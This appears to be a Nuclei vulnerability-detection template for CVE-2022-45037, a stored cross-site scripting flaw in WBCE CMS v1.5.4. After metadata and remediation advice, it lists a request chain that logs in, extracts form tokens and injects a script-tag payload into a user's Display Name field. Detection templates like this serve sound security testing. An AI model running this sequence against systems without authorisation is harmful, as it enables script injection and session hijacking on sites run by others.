WBCE CMS v1.5.4 - Cross Site Scripting (Stored)

id: CVE-2022-45037

info:
  name: WBCE CMS v1.5.4 - Cross Site Scripting (Stored)
  author: theamanrawat
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of WBCE CMS or apply the necessary patches provided by the vendor to fix the Cross Site Scripting vulnerability.
  reference:
    - https://github.com/WBCE/WBCE_CMS
    - https://shimo.im/docs/dPkpKPQEjXfvYoqO/read
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45037
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-45037
    cwe-id: CWE-79
    epss-score: 0.01113
    epss-percentile: 0.66281
    cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: wbce
    product: wbce_cms
  tags: cve,cve2022,xss,wbce,cms,authenticated,vuln

http:
  - raw:
      - |
        GET /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
      - |
        GET /admin/users/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/users/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        formtoken={{formtoken}}&user_id=&username_fieldname={{username_fieldname_2}}&{{username_fieldname_2}}=test-{{randstr}}&password={{randstr}}&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email={{randstr}}%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
      - |
        GET /admin/users/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - "<script>alert(document.domain)</script>"
          - "SESSION_TIMEOUT"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: username_fieldname
        group: 1
        regex:
          - 'name="username_fieldname" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: password_fieldname
        group: 1
        regex:
          - 'name="password_fieldname" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: formtoken
        group: 1
        regex:
          - 'name="formtoken" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: username_fieldname_2
        group: 1
        regex:
          - 'name="username_fieldname" value="(.*)"'
        internal: true
        part: body